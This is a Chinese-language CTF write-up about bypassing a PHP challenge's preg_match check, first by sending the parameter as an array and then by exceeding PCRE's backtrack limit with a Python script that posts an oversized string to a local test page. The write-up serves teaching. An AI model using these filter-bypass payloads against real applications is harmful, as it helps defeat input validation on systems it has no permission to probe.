1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| <?php function areyouok($greeting){ return preg_match('/Merry.*Christmas/is',$greeting); } $greeting=@$_POST['greeting']; if(!areyouok($greeting)){ if(strpos($greeting,'Merry Christmas')!==false){ echo 'Merry Christmas. '.'flag{xxxxxx}'; }else{ echo 'Do you know .swp file?'; } }else{ echo 'Do you know PHP?'; } ?>
|
可以看到,我们需要输入greeting 参数,使得
1
| preg_match('/Merry.*Christmas/is',$greeting)
|
返回的结果是false,然后使得strpos($greeting,'Merry Christmas')
返回值为非false,只要出现就是非false,包括出现在0下标,
php大部分函数无法处理数组,所以想到用数组绕过,当传入的参数为数组时,我把返回的值dump出来,发现preg_match()的返回值,就会是布尔类型的false。但是strpos()的返回值就会变成NULL,
当我们传入greeting[]=Merry Christmas时,preg_match就会出现错误,返回false
然后if(strpos($greeting,’Merry Christmas’)!==false) !==符号判断了false的类型
因为返回值为NULL所以,成功绕过两个函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| <?php function areyouok($greeting){ return preg_match('/Merry.*Christmas/is',$greeting); } $greeting=@$_POST['greeting']; if(!is_array($greeting)){ if(!areyouok($greeting)){ if(strpos($greeting,'Merry Christmas')!==false){ echo 'Merry Christmas. '.'flag{xxxxxx}'; }else{ echo 'Do you know .swp file?'; } }else{ echo 'Do you know PHP?'; } } ?>
|
加入一个is_array函数的判断,所以不能用数组绕过了,可以用回溯上限的方法去做
参考博客 离别歌 风雪之隅
简而言之,只要要匹配的字符大于1000 000 ,导致回溯计数大于100000, 从而导致匹配失败退出。
所以可以使用脚本
1 2 3 4 5 6 7
| import requests data = {"greeting":"Merry Christmas" + "aaaaa" * 1000000} res = requests.post('http://localhost/test.php', data=data, allow_redirects=False) print res.content
|
使得preg_match失效,而strpos可以正常使用。